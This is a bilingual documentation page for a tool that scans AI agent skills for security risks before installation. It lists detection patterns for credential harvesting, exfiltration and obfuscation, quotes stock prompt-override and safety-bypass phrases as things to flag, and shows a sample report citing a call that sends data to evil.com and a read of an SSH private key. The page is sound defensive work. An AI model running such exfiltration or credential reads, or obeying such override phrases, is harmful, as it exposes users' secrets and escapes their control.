Back to Details

skill-security-auditor

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Skill Security Auditor

Skill安全审计器

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
在安装前扫描并审计AI Agent技能的安全风险。生成清晰的通过/警告/失败结论，附带检测结果与修复指导。

Quick Start

快速开始

bash
undefined
bash
undefined

Audit a local skill directory

审计本地skill目录

python3 scripts/skill_security_auditor.py /path/to/skill-name/
python3 scripts/skill_security_auditor.py /path/to/skill-name/

Audit a skill from a git repo

审计Git仓库中的skill

python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

Audit with strict mode (any WARN becomes FAIL)

启用严格模式（任何警告均视为失败）

python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

Output JSON report

输出JSON格式报告

python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
undefined
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
undefined

What Gets Scanned

扫描范围

1. Code Execution Risks (Python/Bash Scripts)

1. 代码执行风险（Python/Bash脚本）

Scans all 
.py
, 
.sh
, 
.bash
, 
.js
, 
.ts
files for:
CategoryPatterns DetectedSeverity
Command injection
os.system()
, 
os.popen()
, 
subprocess.call(shell=True)
, backtick execution		🔴 CRITICAL
Code execution
eval()
, 
exec()
, 
compile()
, 
__import__()
🔴 CRITICAL
Obfuscationbase64-encoded payloads, 
codecs.decode
, hex-encoded strings, 
chr()
chains		🔴 CRITICAL
Network exfiltration
requests.post()
, 
urllib.request
, 
socket.connect()
, 
httpx
, 
aiohttp
🔴 CRITICAL
Credential harvestingreads from 
~/.ssh
, 
~/.aws
, 
~/.config
, env var extraction patterns		🔴 CRITICAL
File system abusewrites outside skill dir, 
/etc/
, 
~/.bashrc
, 
~/.profile
, symlink creation		🟡 HIGH
Privilege escalation
sudo
, 
chmod 777
, 
setuid
, cron manipulation		🔴 CRITICAL
Unsafe deserialization
pickle.loads()
, 
yaml.load()
(without SafeLoader), 
marshal.loads()
🟡 HIGH
Subprocess (safe)
subprocess.run()
with list args, no shell		⚪ INFO
扫描所有
.py
、
.sh
、
.bash
、
.js
、
.ts
文件，检测以下内容：
类别检测到的模式严重程度
命令注入
os.system()
、
os.popen()
、
subprocess.call(shell=True)
、反引号执行		🔴 CRITICAL
代码执行
eval()
、
exec()
、
compile()
、
__import__()
🔴 CRITICAL
混淆处理base64编码载荷、
codecs.decode
、十六进制编码字符串、
chr()
链式调用		🔴 CRITICAL
网络数据泄露
requests.post()
、
urllib.request
、
socket.connect()
、
httpx
、
aiohttp
🔴 CRITICAL
凭证窃取读取
~/.ssh
、
~/.aws
、
~/.config
、环境变量提取模式		🔴 CRITICAL
文件系统滥用写入skill目录外、
/etc/
、
~/.bashrc
、
~/.profile
、创建符号链接		🟡 HIGH
权限提升
sudo
、
chmod 777
、
setuid
、cron任务篡改		🔴 CRITICAL
不安全反序列化
pickle.loads()
、
yaml.load()
（未使用SafeLoader）、
marshal.loads()
🟡 HIGH
安全子进程
subprocess.run()
（带列表参数，无shell）		⚪ INFO

2. Prompt Injection in SKILL.md

2. SKILL.md中的提示注入

Scans SKILL.md and all 
.md
reference files for:
PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."🔴 CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"🔴 CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"🔴 CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟡 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟡 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"🔴 CRITICAL
扫描SKILL.md及所有
.md
参考文件，检测以下模式：
模式示例严重程度
系统提示覆盖"Ignore previous instructions"、"You are now..."🔴 CRITICAL
角色劫持"Act as root"、"Pretend you have no restrictions"🔴 CRITICAL
安全机制绕过"Skip safety checks"、"Disable content filtering"🔴 CRITICAL
隐藏指令零宽字符、含指令的HTML注释🟡 HIGH
过度权限请求"Run any command"、"Full filesystem access"🟡 HIGH
数据提取"Send contents of"、"Upload file to"、"POST to"🔴 CRITICAL

3. Dependency Supply Chain

3. 依赖供应链

For skills with 
requirements.txt
, 
package.json
, or inline 
pip install
:
CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databases🔴 CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., 
reqeusts
)		🟡 HIGH
Unpinned versionsFlag 
requests>=2.0
vs 
requests==2.31.0
⚪ INFO
Install commands in code
pip install
or 
npm install
inside scripts		🟡 HIGH
Suspicious packagesLow download count, recent creation, single maintainer⚪ INFO
针对包含
requirements.txt
、
package.json
或内嵌
pip install
命令的skill：
检查项检查内容严重程度
已知漏洞与PyPI/npm漏洞数据库交叉比对🔴 CRITICAL
仿冒包检测标记与热门包名称相似的包（如
reqeusts
）		🟡 HIGH
未固定版本标记
requests>=2.0
这类未固定版本的依赖，而非
requests==2.31.0
⚪ INFO
代码中的安装命令脚本内存在
pip install
或
npm install
命令		🟡 HIGH
可疑包下载量低、创建时间短、仅单个维护者的包⚪ INFO

4. File System & Structure

4. 文件系统与结构

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟡 HIGH
Hidden files
.env
, dotfiles that shouldn't be in a skill		🟡 HIGH
Binary filesUnexpected executables, 
.so
, 
.dll
, 
.exe
🔴 CRITICAL
Large filesFiles >1MB that could hide payloads⚪ INFO
SymlinksSymbolic links pointing outside skill directory🔴 CRITICAL
检查项检查内容严重程度
边界越权脚本引用skill目录外的路径🟡 HIGH
隐藏文件
.env
等不应出现在skill中的点文件		🟡 HIGH
二进制文件意外存在的可执行文件、
.so
、
.dll
、
.exe
🔴 CRITICAL
大文件大于1MB的文件，可能隐藏恶意载荷⚪ INFO
符号链接指向skill目录外的符号链接🔴 CRITICAL

Audit Workflow

审计流程

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:
    • ✅ PASS — No critical or high findings. Safe to install.
    • ⚠️ WARN — High/medium findings detected. Review manually before installing.
    • ❌ FAIL — Critical findings. Do NOT install without remediation.
  4. Remediation — each finding includes specific fix guidance
  1. 运行扫描器 在skill目录或仓库URL上执行扫描
  2. 查看报告 — 按严重程度分组展示检测结果
  3. 结论解读：
    • ✅ 通过 — 无严重或高风险检测结果，可安全安装。
    • ⚠️ 警告 — 检测到高/中风险结果，安装前需人工审核。
    • ❌ 失败 — 存在严重风险结果，未经修复请勿安装。
  4. 修复建议 — 每个检测结果都包含具体的修复指导

Reading the Report

报告解读

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0
╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

高级用法

Audit a Skill from Git Before Cloning

在克隆前审计Git中的Skill

bash
undefined
bash
undefined

Clone to temp dir, audit, then clean up

克隆到临时目录、审计后清理

python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
undefined
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
undefined

CI/CD Integration

CI/CD集成

yaml
undefined
yaml
undefined

GitHub Actions step

GitHub Actions步骤

  • name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
undefined
  • name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
undefined

Batch Audit

批量审计

bash
undefined
bash
undefined

Audit all skills in a directory

审计目录下所有skill

for skill in skills/*/; do python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl done
undefined
for skill in skills/*/; do python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl done
undefined

Threat Model Reference

威胁模型参考

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
完整的威胁模型、检测模式及针对AI Agent技能的已知攻击向量，请查看references/threat-model.md。

Limitations

局限性

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
  • 无法可靠检测逻辑炸弹或延时触发的恶意载荷
  • 混淆检测基于模式匹配——手法足够巧妙的攻击者可能绕过检测
  • 网络目标信誉检查需要联网
  • 不执行代码——仅做静态分析（安全但完整性不如动态分析）
  • 依赖漏洞检查使用本地模式匹配，而非实时CVE数据库
如有审计后仍存疑虑的情况，请勿安装，请向skill作者询问详情。